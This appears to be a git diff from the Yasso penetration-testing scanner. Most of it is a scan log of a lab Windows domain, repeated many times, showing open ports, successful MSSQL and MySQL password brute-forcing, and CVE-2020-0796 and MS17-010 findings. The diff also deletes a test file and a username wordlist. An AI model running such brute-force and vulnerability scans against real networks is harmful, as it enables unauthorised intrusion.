[LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.128 is alive (ping) +[*] 192.168.248.212 is alive (tcp) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.128:135 is open +[*] 192.168.248.128:445 is open +[*] 192.168.248.128:3389 is open +[*] 192.168.248.128:139 is open +[*] 192.168.248.128:1433 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:3389 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[*] 192.168.248.128:1433 [version:15.0.2000][mssql] +[+] brute 192.168.248.128:1433 success [sa:admin@123][mssql] +[*] 192.168.248.128:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.128:137] KLION\OA +[+] [192.168.248.128:445] +[10.0.19041 (version) || OA.klion.local (FQDN Name) ||KLION (Domain Name) ||OA (Netbios Name)] +[+] [OA 192.168.248.128] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] 192.168.248.212 Find MS17010 (Windows Server 2012 R2 Standard 9600) +[*] Yasso scan complete +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:445 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:3389 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1] +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:88 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[*] 192.168.248.203 is alive (ping) +[*] 192.168.248.212 is alive (ping) +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.212:389 is open +[*] 192.168.248.212:88 is open +[*] 192.168.248.212:139 is open +[*] 192.168.248.212:135 is open +[*] 192.168.248.212:80 is open +[*] 192.168.248.212:53 is open +[*] 192.168.248.212:3389 is open +[*] 192.168.248.212:49155 is open +[*] 192.168.248.212:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:139 is open +[+] http://192.168.248.212 200 [IIS] [IIS Windows Server] +[*] 192.168.248.212:3389 [Windows 10/Windows 11/Windows Server 2019] +[+] [192.168.248.212:137] KLION\DC02 [Domain Controllers] +[+] [192.168.248.212:445] +[6.3.9600 (version) || Dc02.klion.local (FQDN Name) ||KLION (Domain Name) ||DC02 (Netbios Name)] +[+] [Dc02 192.168.248.212] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.248.1 192.168.23.1 192.168.0.184] +[*] 192.168.248.212 Find MS17010 (Windows Server 2012 R2 Standard 9600) +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:80 is open +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:3306 is open +[*] 192.168.248.1:445 is open +[+] http://192.168.248.1 200 [Nginx] [Index of /] +[+] brute 192.168.248.1:3306 success [root:root][mysql] +[+] brute 192.168.248.1:3306 success [root:root][mysql] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 2.0.0.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:3306 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:80 is open +[*] 192.168.248.1:139 is open +[+] http://192.168.248.1 200 [Nginx] [Index of /] +[+] brute 192.168.248.1:3306 success [root:root][mysql] +[+] brute 192.168.248.1:3306 success [root:root][mysql] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 2.0.0.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete +[*] 192.168.248.1 is alive (ping) +[*] 192.168.248.1:139 is open +[*] 192.168.248.1:3306 is open +[*] 192.168.248.1:445 is open +[*] 192.168.248.1:135 is open +[*] 192.168.248.1:80 is open +[+] http://192.168.248.1 200 [Nginx] [Index of /] +[+] brute 192.168.248.1:3306 success [root:root][mysql] +[+] [192.168.248.1:445] +[10.0.19041 (version) || LAPTOP-ESQC1EPT (FQDN Name) ||LAPTOP-ESQC1EPT (Domain Name) ||LAPTOP-ESQC1EPT (Netbios Name)] +[+] [LAPTOP-ESQC1EPT 192.168.23.1 192.168.248.1 2.0.0.1 192.168.0.184] +[+] 192.168.248.1 Find CVE-2020-0796 +[*] Yasso scan complete diff --git a/test/test_json.go b/test/test_json.go deleted file mode 100644 index 86ca911..0000000 --- a/test/test_json.go +++ /dev/null @@ -1,14 +0,0 @@ -package main - -import "Yasso/cmd" - -func main() { - _ = cmd.JsonOut{ - Host: "123456", - Ports: []int{25, 12, 33, 14, 55, 80, 443}, - WeakPass: []map[string]map[string]string{ - {"redis": map[string]string{"admin": "123456"}}, - }, - WebHosts: nil, - } -} diff --git a/user.txt b/user.txt deleted file mode 100644 index 651954d..0000000 --- a/user.txt +++ /dev/null @@ -1,5 +0,0 @@ -administrator -Oadmin -kali -root -